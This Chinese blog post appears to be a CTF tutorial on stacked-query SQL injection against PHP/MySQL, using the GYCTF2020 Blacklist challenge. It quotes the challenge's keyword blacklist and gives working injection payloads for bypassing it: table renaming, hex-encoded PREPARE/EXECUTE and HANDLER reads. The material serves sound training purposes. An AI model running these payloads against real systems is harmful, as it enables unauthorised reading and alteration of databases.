漏洞成因

  • 使用mysqli_multi_query()这种支持多语句执行的函数
  • 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句

ps:附上一片PDO的宽字节注入从宽字节注入认识PDO的原理和正确使用,预编译也不是滴水不漏

bypass技巧

以[GYCTF2020]Blacklist为例

preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)

获取库名、表名、列名

show databases;
show tables;
show columns from `table_name`;

bypass

(1) 修改表名

此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

但是一定要先改原表名

(2) 预编译

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

用16进制绕过

(3) HANDLER

在这次比赛中setrename都被过滤,去翻文档可以找到https://dev.mysql.com/doc/refman/8.0/en/handler.html

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

例题

[GYCTF2020]Blacklist

[强网杯 2019]随便注

最新文章

  1. 获取当前应用的系统路径工具类和java的System.getProperty()方法介绍
  2. Web应用程序的自动化测试库-FluentAutomation
  3. eaysui 利用datagrid 实现左右移除数据
  4. window常用命令
  5. AloneJs.msgbox() —— 弹出消息框
  6. Java并发编程核心方法与框架-CountDownLatch的使用
  7. TCP/IP 协议介绍
  8. [Eclipse] - 集成Tomcat热加载插件
  9. 【未完待补充】linux 设置So动态库链接路径
  10. 弦图的判定MCS算法(zoj1015)
  11. POJ 1845 求a^b的约数和
  12. Linux apt-get
  13. nexus-2.13.0-01.war
  14. 简单的HDFS思维导图
  15. C#中一些易混淆概念总结
  16. pdo操纵mysql数据库
  17. ELK系列~log4-nxlog-Fluentd-elasticsearch写json数据需要注意的几点
  18. 51Nod 1289 大鱼吃小鱼(模拟,经典好题)
  19. ‘true’==true返回false详解
  20. Android开发技巧——实现底部图标文字的导航栏(已更新)

热门文章

  1. tcpack--4延时ack
  2. typora 图片存储在COS
  3. 【译】Arc 在 Rust 中是如何工作的
  4. 调用外部接口支持https请求
  5. 《金融业人工智能实践 》(Hands-On Artificial Intelligence for Banking) 阅读指南 - 第5章
  6. Java中常见内存溢出模拟及错误分析
  7. maven项目导出为jar包
  8. powertool
  9. 思维导图MindManager有新手引导功能吗
  10. Guitar Pro指弹入门——特殊拍号